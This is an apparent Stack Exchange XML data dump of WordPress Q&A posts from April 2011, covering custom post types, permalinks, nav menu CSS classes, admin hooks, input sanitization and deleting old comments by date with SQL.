  <row Id="15866" PostTypeId="2" ParentId="15864" CreationDate="2011-04-28T17:04:40.710" Score="1" ViewCount="" Body="&lt;p&gt;Can you pass the user-input data through &lt;code&gt;wpautop()&lt;/code&gt; (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wpautop&quot; rel=&quot;nofollow&quot;&gt;Codex ref&lt;/a&gt;) when you save those data to the DB?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be doing something like the following, to validate/sanitize the user input:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Function to validate, sanitize, and save post metadata. */&#xA;function mytheme_save_custom_metadata(){&#xA;&#xA;  global $post;&#xA;&#xA;  $valid_custom_field_input = wp_kses( wpautop( $_POST['custom_meta_field'] ) );&#xA;&#xA;  update_post_meta($post-&amp;gt;ID, 'custom_meta_field', $valid_custom_field_input );&#xA;}&#xA;/* Add our function to the save_post hook. */&#xA;add_action('save_post', 'mytheme_save_custom_metadata');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice that I put wrapped the user input in &lt;code&gt;wpautop()&lt;/code&gt; before passing through &lt;code&gt;wp_kses()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-04-28T19:11:10.790" LastActivityDate="2011-04-28T19:11:10.790" CommentCount="10" />
  <row Id="15867" PostTypeId="2" ParentId="15788" CreationDate="2011-04-28T17:25:12.960" Score="0" ViewCount="" Body="&lt;p&gt;I've got it ! I used the plugin &quot;Custom Post Type UI&quot; in order to register my custom-post-type. I was stucked with my permalinks problems so I decided to redo everything manually without plugin. So I took the code from the codex to register my custom-pot-type and my taxonomies. I create a page template for displaying my custom-post-type, create some article under my custom post-type, and so on. Now everything work like a charm (category with my taxonomies and my articles asides my custom-post-types and top of that : the pretty permalinks).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I left the &lt;strong&gt;'rewrite' =&gt; true&lt;/strong&gt;. Nothing to do anymore... Don't bother with the permalinks. Just the for the fun I tried with &lt;strong&gt;'rewrite' =&gt; array('slug' =&gt; 'my-word-for-my-permalink'), It works as well !&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't forget to flush the permalinks manually and within your register function for cpt (at least once) in the functions.php...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody got some similar problem with the plugin &quot;Custom Post Type UI&quot; ?&#xA;Which plugin do you use for create/manage your custom-post-types ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks everybody and have fun with your custom-post-types ! :-)&lt;/p&gt;&#xA;" OwnerUserId="4944" LastActivityDate="2011-04-28T17:25:12.960" CommentCount="3" />
  <row Id="15868" PostTypeId="2" ParentId="15855" CreationDate="2011-04-28T17:41:51.917" Score="0" ViewCount="" Body="&lt;p&gt;Many WordPress frameworks include helper functions and pre-defined folder locations.  WP Framework is very well coded but requires some learning and inspecting the code to find the documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the file core.php many constants are defined but I did not see IMAGES but THEME_IMAGE is defined so it is likely that IMAMGE refers to the images folder in the child theme directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the list of constants available for you to use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WP Framework V 3.6 core.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpf_initial_constants() {  &#xA;    // Sets the File path to the current parent theme's directory.&#xA;    define( 'PARENT_THEME_DIR', TEMPLATEPATH );&#xA;&#xA;    // Sets the URI path to the current parent theme's directory.&#xA;    define( 'PARENT_THEME_URI', get_template_directory_uri() );&#xA;&#xA;    // Sets the File path to the current parent theme's directory.&#xA;    define( 'CHILD_THEME_DIR', STYLESHEETPATH );&#xA;&#xA;    // Sets the URI path to the current child theme's directory.&#xA;    define( 'CHILD_THEME_URI', get_stylesheet_directory_uri() );&#xA;&#xA;    // Sets the file path to WP Framework&#xA;    define( 'WPF_DIR', PARENT_THEME_DIR . '/framework' );&#xA;&#xA;    // Sets the URI path to WP Framework&#xA;    define( 'WPF_URI', PARENT_THEME_URI . '/framework' );&#xA;&#xA;    // Sets the file path to extensions&#xA;    define( 'WPF_EXT_DIR', WPF_DIR . '/extensions' );&#xA;&#xA;    // Sets the URI path to extensions&#xA;    define( 'WPF_EXT_URI', WPF_URI . '/extensions' );&#xA;}&#xA;&#xA;/**&#xA; * Templating constants that you can override before WP Framework is loaded.&#xA; *&#xA; * @since 0.3.0&#xA; *&#xA; * @return void&#xA; */&#xA;function wpf_templating_constants() {&#xA;    // Sets a unique ID for the theme.&#xA;    if ( !defined( 'THEME_ID' ) )&#xA;        define( 'THEME_ID', 'wpf_' . get_template() );&#xA;&#xA;    // Sets the default theme options db name&#xA;    if ( !defined( 'THEME_OPTIONS' ) )&#xA;        define( 'THEME_OPTIONS', 'theme_options' );&#xA;&#xA;    // Sets relative paths for the default directories/paths&#xA;    if ( !defined( 'THEME_LIBRARY' ) )&#xA;        define( 'THEME_LIBRARY', '/library' );&#xA;&#xA;    if ( !defined( 'THEME_I18N' ) )&#xA;        define( 'THEME_I18N', THEME_LIBRARY . '/languages' );&#xA;&#xA;    if ( !defined( 'THEME_FUNC' ) )&#xA;        define( 'THEME_FUNC', THEME_LIBRARY . '/functions' );&#xA;&#xA;    if ( !defined( 'THEME_IMG' ) )&#xA;        define( 'THEME_IMG', THEME_LIBRARY . '/images' );&#xA;&#xA;    if ( !defined( 'THEME_CSS' ) )&#xA;        define( 'THEME_CSS', THEME_LIBRARY . '/css' );&#xA;&#xA;    if ( !defined( 'THEME_JS' ) )&#xA;        define( 'THEME_JS', THEME_LIBRARY . '/js' );&#xA;&#xA;    // Sets the default custom header image&#xA;    if ( !defined( 'DEFAULT_HEADER_IMAGE' ) )&#xA;        define( 'DEFAULT_HEADER_IMAGE', get_theme_part( THEME_IMG . '/custom-header.gif' ) );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-28T17:41:51.917" CommentCount="1" />
  <row Id="15869" PostTypeId="1" AcceptedAnswerId="16014" CreationDate="2011-04-28T18:29:11.580" Score="0" ViewCount="100" Body="&lt;p&gt;What is the definite hook which identifies links.php page (add, edit, delete, etc.  Blogroll Links), and only this page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;cadeyrn&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry, I forgot to mention, I need this hook in the admin area. I have a plugin, that brakes an other one, because both are triggered by the admin_menu add_action. Therefore I need an add_action point that is only valid for the admin menu's link edit/add/delete part.&lt;/p&gt;&#xA;" OwnerUserId="4209" LastEditorUserId="4209" LastEditorDisplayName="" LastEditDate="2011-04-29T07:51:07.360" LastActivityDate="2011-04-30T07:54:58.857" Title="add_action hook for links.php page" Tags="&lt;hooks&gt;&lt;links&gt;&lt;link&gt;" AnswerCount="3" />
  <row Id="15870" PostTypeId="1" CreationDate="2011-04-28T18:37:08.810" Score="2" ViewCount="105" Body="&lt;p&gt;I run a contest/giveaway blog at www.mommylivingthelifeofriley.com and currently have over 160,000 comments on 1100 posts.  I would like to find a way to delete all comments from my site which are older than 6 months, so as to improve my site's overall performance.  Does anyone have any ideas on how to accomplish this?  Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="4970" LastActivityDate="2011-04-28T18:56:49.387" Title="How to Delete Old Comments by Date?" Tags="&lt;comments&gt;&lt;mysql&gt;&lt;date-time&gt;" AnswerCount="1" />
  <row Id="15871" PostTypeId="2" ParentId="15844" CreationDate="2011-04-28T18:42:59.040" Score="1" ViewCount="" Body="&lt;p&gt;First +1 for using &lt;strong&gt;blueprint css&lt;/strong&gt; :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second: Yes, separators are just presentational and shouldn't be part of the menu (screenreader using people would be confused). So here you get a simple function to add separator-css-classes or any other additional classes whereever you need them. Just modify the three vars to your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And now here's the function that let you exactly target a single nav menu item in a specific location within a specific menu. You just have to modify the first three vars &lt;code&gt;$menu_location&lt;/code&gt;, &lt;code&gt;$menu_name&lt;/code&gt;, &amp;amp; &lt;code&gt;$menu_item&lt;/code&gt; to your needs.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse15844_nav_top_classes( $classes, $item ) &#xA;{&#xA;    // EDIT HERE: This is the nav menu location slug&#xA;    $menu_location = 'top';&#xA;    // EDIT HERE: This is the nav menu name you entered in the admin-UI &amp;gt; Appearance &amp;gt; Menus (Add menu)&#xA;    $menu_name = 'Topnav';&#xA;&#xA;    // Abort if we're not with the named menu&#xA;    if ( is_nav_menu( $menu_name ) !== true ) &#xA;        return;&#xA;&#xA;    if ( ( $locations = get_nav_menu_locations() ) &amp;amp;&amp;amp; isset( $locations[ $menu_location ] ) )&#xA;    {&#xA;        $locations = get_nav_menu_locations();&#xA;&#xA;        $menu = wp_get_nav_menu_object( $locations[ $menu_location ] );&#xA;        $menu_items = wp_get_nav_menu_items( $menu-&amp;gt;term_id );&#xA;    }&#xA;&#xA;    // Abort if we're not in the specified location&#xA;    else &#xA;        return;&#xA;&#xA;    // EDIT HERE: Enter the nr. of the menu item. Currently we're adding to the last one.&#xA;    $menu_item = intval( count( $menu_items ) );&#xA;&#xA;    if ( $item-&amp;gt;menu_order == $menu_item )&#xA;    {&#xA;        $classes[] = 'span-10 clearfix';&#xA;    }&#xA;    else &#xA;    {&#xA;        $classes[] = 'span-10 clearfix separator';&#xA;    }&#xA;&#xA;    return $classes;&#xA;}&#xA;add_filter( 'nav_menu_css_class', 'wpse15844_nav_top_classes', 10, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then style your separator as you need it from inside your css file.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-04-28T18:42:59.040" />
  <row Id="15872" PostTypeId="2" ParentId="15870" CreationDate="2011-04-28T18:56:49.387" Score="5" ViewCount="" Body="&lt;p&gt;You could easily do this using mysql:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DELETE FROM wp_comments WHERE comment_date &amp;lt; DATE_ADD(CURDATE(), INTERVAL -6 MONTH)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="127" LastActivityDate="2011-04-28T18:56:49.387" CommentCount="2" />
  <row Id="15873" PostTypeId="2" ParentId="15816" CreationDate="2011-04-28T19:01:55.247" Score="0" ViewCount="" Body="&lt;p&gt;You can use &lt;a href=&quot;http://wordpress.org/extend/plugins/cr-post2pingfm/&quot; rel=&quot;nofollow&quot;&gt;[CR]Post2HelloTXT&lt;/a&gt; for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a twitter account and then add &lt;a href=&quot;http://tweetymail.com/&quot; rel=&quot;nofollow&quot;&gt;Tweetymail&lt;/a&gt; notification to be notify when new twit arrived.&lt;/p&gt;&#xA;" OwnerUserId="127" LastActivityDate="2011-04-28T19:01:55.247" />
  <row Id="15874" PostTypeId="2" ParentId="15844" CreationDate="2011-04-28T19:07:07.797" Score="0" ViewCount="" Body="&lt;p&gt;And this is how you should be able to add the &lt;code&gt;/&lt;/code&gt; after (even if not recommended). For some reason this doesn't work as expected, even if i get the right &lt;code&gt;$args&lt;/code&gt; when i &lt;code&gt;print_r&lt;/code&gt; it (see &lt;code&gt;#&lt;/code&gt;-uncommented code). It adds to the first (in my testcase) instead of the last element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@John P Bloch @Geert - Could you pls give this a try and tell me if this works wrong for you too? Thanks!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse15844_nav_top_args( $output, $item, $depth, $args ) &#xA;{&#xA;    // EDIT HERE: This is the nav menu location slug.&#xA;    $menu_location = 'top';&#xA;    // EDIT HERE: This is the nav menu name you entered in the admin-UI &amp;gt; Appearance &amp;gt; Menus (Add menu).&#xA;    $menu_name = 'Topnav';&#xA;&#xA;    // Abort if we're not with the named menu&#xA;    if ( is_nav_menu( $menu_name ) !== true ) &#xA;        return;&#xA;&#xA;    // You won't need the following if statement if you're not targeting the last menu item.&#xA;    if ( ( $locations = get_nav_menu_locations() ) &amp;amp;&amp;amp; isset( $locations[ $menu_location ] ) )&#xA;    {&#xA;        $locations = get_nav_menu_locations();&#xA;&#xA;        $menu = wp_get_nav_menu_object( $locations[ $menu_location ] );&#xA;        $menu_items = wp_get_nav_menu_items( $menu-&amp;gt;term_id );&#xA;    }&#xA;&#xA;    // Abort if we're not in the specified location - If you're not searching for the last item, you won't need this one too.&#xA;    else &#xA;        return;&#xA;&#xA;    // EDIT HERE: Enter the nr. of the menu item in the second line inside eg. intval( 3 ). Currently we're adding to the last one.&#xA;    $menu_item = count( $menu_items );&#xA;    $menu_item = intval( $menu_item );&#xA;&#xA;    // Add the class&#xA;    if ( $item-&amp;gt;menu_order !== $menu_item )&#xA;    {&#xA;        $args-&amp;gt;after = '/';&#xA;        # echo '&amp;lt;pre&amp;gt;'; print_r( $args ); echo '&amp;lt;/pre&amp;gt;';&#xA;    }&#xA;    else &#xA;    {&#xA;        $args-&amp;gt;after = '';&#xA;        # echo '&amp;lt;pre&amp;gt;'; print_r( $args ); echo '&amp;lt;/pre&amp;gt;';&#xA;    }&#xA;&#xA;    return $output;&#xA;}&#xA;add_filter( 'walker_nav_menu_start_el', 'wpse15844_nav_top_args', 10, 4 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-04-28T19:07:07.797" />
  <row Id="15875" PostTypeId="2" ParentId="15869" CreationDate="2011-04-28T19:21:33.670" Score="0" ViewCount="" Body="&lt;p&gt;Inside the (public) wp template hierarchy there's no &lt;code&gt;links.php&lt;/code&gt; file expected. Links are a built in taxonomy, so I (guess) it's &lt;code&gt;if ( is_archive( 'link_category' ) ) /* do stuff */&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or are you talking about admin pages?&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-04-28T19:21:33.670" CommentCount="3" />
  <row Id="15876" PostTypeId="2" ParentId="15869" CreationDate="2011-04-28T20:01:53.730" Score="0" ViewCount="" Body="&lt;p&gt;Hook for what exactly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in any case it is easy to use any hook and check if you are at the right page. For example by comparing global &lt;code&gt;$hook_suffix&lt;/code&gt; variable to &lt;code&gt;link-manager.php&lt;/code&gt; (there is no &lt;code&gt;links.php&lt;/code&gt; by the way). There is also block of dynamic hooks that rely on this variable in &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.1/wp-admin/admin-header.php#L75&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;admin-header.php&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-28T20:01:53.730" />
  <row Id="15877" PostTypeId="2" ParentId="15685" CreationDate="2011-04-28T20:15:34.807" Score="0" ViewCount="" Body="&lt;p&gt;HERE´S YOUR ANSWER&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/unclickable-menu-button&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/unclickable-menu-button&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CHEERS&lt;/p&gt;&#xA;" OwnerUserId="4974" LastActivityDate="2011-04-28T20:15:34.807" CommentCount="2" />
  <row Id="15878" PostTypeId="2" ParentId="15850" CreationDate="2011-04-28T20:31:53.350" Score="3" ViewCount="" Body="&lt;p&gt;You can configure the &lt;code&gt;$whitelist&lt;/code&gt; array in this function to filter out all other unwanted classes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('body_class', 'my_body_class', 10, 2);&#xA;&#xA;function my_body_class($wp_classes, $extra_classes)&#xA;{&#xA;    // List of the only WP generated classes allowed&#xA;    $whitelist = array('portfolio', 'home', 'error404');&#xA;&#xA;    // Filter the body classes&#xA;    $wp_classes = array_intersect($wp_classes, $whitelist);&#xA;&#xA;    // Add the extra classes back untouched&#xA;    return array_merge($wp_classes, (array) $extra_classes);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4936" LastActivityDate="2011-04-28T20:31:53.350" CommentCount="1" />
  <row Id="15879" PostTypeId="2" ParentId="15820" CreationDate="2011-04-28T21:04:52.623" Score="2" ViewCount="" Body="&lt;p&gt;The correct way to load a PHP file in the theme directory is to use the locate_template function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php locate_template(array('parts/block1.php'),true,false); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The true makes it automatically require it. The false makes it not require_once it.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-04-28T21:04:52.623" />
  <row Id="15880" PostTypeId="2" ParentId="7434" CreationDate="2011-04-28T21:42:40.080" Score="0" ViewCount="" Body="&lt;p&gt;This is probably stupid and I'm sure you probably checked this beforehand... but it did the trick for me. Turns out, my users had unchecked the &quot;allow comments&quot; option in a lot of my custom posts, and I didn't go ahead and check that first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, to debug this maybe you could temporarily modify the disqus plugin in file 'disqus.php' around line 671, you'll find the &lt;code&gt;dsq_comments_template($value)&lt;/code&gt; function, which is the one that loads disqus instead of the regular comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I did was check the conditions under which it &lt;strong&gt;doesn't&lt;/strong&gt; load disqus, which are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( !( is_singular() &amp;amp;&amp;amp; ( have_comments() || 'open' == $post-&amp;gt;comment_status ) ) ) {&#xA;    echo &quot;sing?: &quot;.is_singular().&quot; have_comm?: &quot;.have_comments().&#xA;            &quot; open?:&quot;.$post-&amp;gt;comment_status; // this was my modification ;)&#xA;    return;&#xA;}&#xA;&#xA;if ( !dsq_is_installed() || !dsq_can_replace() ) {&#xA;    return $value;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when I realized &lt;code&gt;$post-&amp;gt;comment_status&lt;/code&gt; was the condition causing it to return, I checked all of my posts and cursed myself for not checking the obvious things first. Anyway, hope it helps!&lt;/p&gt;&#xA;" OwnerUserId="2994" LastActivityDate="2011-04-28T21:42:40.080" CommentCount="1" />
  <row Id="15881" PostTypeId="2" ParentId="15628" CreationDate="2011-04-28T21:44:40.873" Score="0" ViewCount="" Body="&lt;p&gt;You can avoid using a unique numeric identifier by using a &lt;a href=&quot;https://www.google.com/support/news_pub/bin/answer.py?answer=74288&quot; rel=&quot;nofollow&quot;&gt;News Sitemap&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From Google's News &lt;a href=&quot;https://www.google.com/support/news_pub/bin/answer.py?hl=en&amp;amp;answer=68323&quot; rel=&quot;nofollow&quot;&gt;technical requirements&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The URL&#xA;  for each article must contain a unique&#xA;  number consisting of at least three&#xA;  digits. For example, we can't crawl an&#xA;  article with this URL:&#xA;  &lt;a href=&quot;http://www.google.com/news/article23.html&quot; rel=&quot;nofollow&quot;&gt;http://www.google.com/news/article23.html&lt;/a&gt;.&#xA;  We can, however, crawl an article with&#xA;  this URL:&#xA;  &lt;a href=&quot;http://www.google.com/news/article234.html&quot; rel=&quot;nofollow&quot;&gt;http://www.google.com/news/article234.html&lt;/a&gt;.&#xA;  Keep in mind that if the only number&#xA;  in the article consists of an isolated&#xA;  four-digit number that starts with 199&#xA;  or 200, we won't be able to crawl it.&#xA;  &lt;strong&gt;Please note that this rule is waived&#xA;  with News sitemaps.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://wordpress.org/extend/plugins/xml-sitemap-feed/&quot; rel=&quot;nofollow&quot;&gt;XML Sitemap &amp;amp; Google News Sitemap Feeds&lt;/a&gt; plugin for WordPress should be able to take care of this automatically for you.&lt;/p&gt;&#xA;" OwnerUserId="3298" LastActivityDate="2011-04-28T21:44:40.873" />
  <row Id="15882" PostTypeId="1" CreationDate="2011-04-28T21:48:07.397" Score="2" ViewCount="138" Body="&lt;p&gt;I'm using &lt;code&gt;wp_insert_post&lt;/code&gt; to programmatically add content to a site.  This works fine with posts, categories and tags, but not with pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I attempt to add a page (i.e. post with post_type=page), the rewrite rules do not get properly regenerated (or something happens to them after &lt;code&gt;wp_insert_post&lt;/code&gt;).  Specifically, rules related to category and tag urls get lost, as listed below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[category/(.+?)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?category_name=$matches[1]&amp;amp;feed=$matches[2]&#xA;[category/(.+?)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?category_name=$matches[1]&amp;amp;feed=$matches[2]&#xA;[category/(.+?)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?category_name=$matches[1]&amp;amp;paged=$matches[2]&#xA;[category/(.+?)/?$] =&amp;gt; index.php?category_name=$matches[1]&#xA;[tag/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?tag=$matches[1]&amp;amp;feed=$matches[2]&#xA;[tag/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?tag=$matches[1]&amp;amp;feed=$matches[2]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that tag and category archive urls get broken.  Just clicking on Settings &gt; Permalinks will repair them.  Have tried to fix by using &lt;code&gt;$wp_rewrite-&amp;gt;flush_rules()&lt;/code&gt; immediately after &lt;code&gt;wp_insert_post&lt;/code&gt; but this has not fixed the problem...&lt;/p&gt;&#xA;" OwnerUserId="4330" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-28T22:17:42.287" LastActivityDate="2011-04-28T22:17:42.287" Title="wp_insert_post breaks rewrite rules" Tags="&lt;theme-development&gt;&lt;pages&gt;&lt;rewrite-rules&gt;&lt;wp-insert-post&gt;" CommentCount="6" />
  <row Id="15883" PostTypeId="2" ParentId="15816" CreationDate="2011-04-28T21:52:16.980" Score="0" ViewCount="" Body="&lt;p&gt;Would you consider using a specific category or tag to use on posts that require notification?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, you could use &lt;a href=&quot;http://wordpress.org/extend/plugins/peters-collaboration-e-mails/&quot; rel=&quot;nofollow&quot;&gt;Peter's Collaboration E-mails&lt;/a&gt; plugin which can automatically notify you (or other specific users) when a post is set to Pending, Scheduled, or Published.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the plugin settings, you can define specific categories, post tags, authors, etc which defines certain notifications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/iKS8R.png&quot; alt=&quot;Peter's Collaboration E-mails&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The settings shown above should alert me when any posts in the category Apple are submitted or published.&lt;/p&gt;&#xA;" OwnerUserId="3298" LastActivityDate="2011-04-28T21:52:16.980" CommentCount="2" />
  <row Id="15884" PostTypeId="1" AcceptedAnswerId="15885" CreationDate="2011-04-28T21:53:55.300" Score="0" ViewCount="117" Body="&lt;p&gt;I am using custom post types &quot;listings&quot; and I have a category called &quot;type&quot; and 3 sub cats, &quot;available&quot;, &quot;pending&quot;, &quot;sold&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to display an image/icon on each post in the loop (not the single-listings.php) but the archive view, that corresponds to it's category. Take a look at woothemes' Estate for an example. They have an image over the featured image that says &quot;on show&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on how to go about this? or a plugin that might do something similar?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this code reference:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php $cats = get_the_category(); echo $cats[0]-&amp;gt;category_name;?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then it said to style using the category as a class in the css, but no go. It returns nothing - wondering if custom post type cats need to be handled differently?&lt;/p&gt;&#xA;" OwnerUserId="4902" LastEditorUserId="4902" LastEditorDisplayName="" LastEditDate="2011-04-28T23:00:20.463" LastActivityDate="2011-04-28T23:33:52.710" Title="Category Icon on custom post type" Tags="&lt;custom-post-types&gt;&lt;categories&gt;" AnswerCount="1" />
  <row Id="15885" PostTypeId="2" ParentId="15884" CreationDate="2011-04-28T23:33:52.710" Score="2" ViewCount="" Body="&lt;p&gt;You can use the conditional with &lt;code&gt;in_category&lt;/code&gt;.&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/in_category&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/in_category&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example after your loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (in_category('type')) { ?&amp;gt;&#xA;                        &amp;lt;img src=&quot;&amp;lt;?php echo get_stylesheet_directory_uri();?&amp;gt;/images/custom.gif&quot; alt=&quot;&quot; class=&quot;customicons&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-04-28T23:33:52.710" CommentCount="5" />
  <row Id="15886" PostTypeId="1" AcceptedAnswerId="15892" CreationDate="2011-04-28T23:45:03.847" Score="2" ViewCount="162" Body="&lt;p&gt;I have a function like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo my_custom_function( array( 'category_url'=&amp;gt;'My Special Category' ) ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It pulls data from the &quot;My Special Category&quot; and displays it.  I want to put a conditional statement around it that says if, and only if, that category has stuff to display, to display it.  There are more than one category_url's so wrapping it with an if statement and just using my_custom_function doesn't work because of the array, it throws the error: &quot;Missing Argument 1&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea on how to make this function only echo if it exists AND if the argument is equal to itself?  PHP noob question. ;)  Thanks!!&lt;/p&gt;&#xA;" OwnerUserId="1663" LastActivityDate="2011-08-09T14:35:43.757" Title="If function exists, and array is met, echo function?" Tags="&lt;functions&gt;&lt;conditional-content&gt;&lt;array&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="15887" PostTypeId="1" CreationDate="2011-04-29T00:08:43.833" Score="2" ViewCount="84" Body="&lt;p&gt;Hey guys, I have this custom select query that pulls a specified number of posts from a specific category and displays them in the order of the latest comments. The problem is that if a post has both of the latest comments, it will get shown twice. I would like it to somehow detect duplicate posts and exclude them, showing only the most recent comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&lt;pre&gt;$sql =&#xA;&quot;SELECT DISTINCT ID, post_title, post_password, comment_ID, comment_post_ID,&#xA;    comment_author, comment_date, comment_approved, comment_type,comment_author_url,&#xA;    SUBSTRING(comment_content,1,100) AS com_excerpt&#xA;FROM $wpdb-&gt;term_taxonomy as t1, $wpdb-&gt;posts, $wpdb-&gt;term_relationships as r1, $wpdb-&gt;comments&#xA;WHERE comment_approved = '1'&#xA;   AND comment_type = ''&#xA;   AND ID = comment_post_ID&#xA;   AND post_password = ''&#xA;   AND ID = r1.object_id&#xA;   AND r1.term_taxonomy_id = t1.term_taxonomy_id&#xA;   AND t1.taxonomy = 'category'&#xA;   AND t1.term_id IN ($inlist)&#xA;ORDER BY comment_date DESC LIMIT 4&quot;;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-06-28T05:18:23.907" Title="Exclude Duplicate Posts in this SELECT Query" Tags="&lt;comments&gt;&lt;select&gt;&lt;comment&gt;&lt;date&gt;&lt;latest&gt;" AnswerCount="1" />
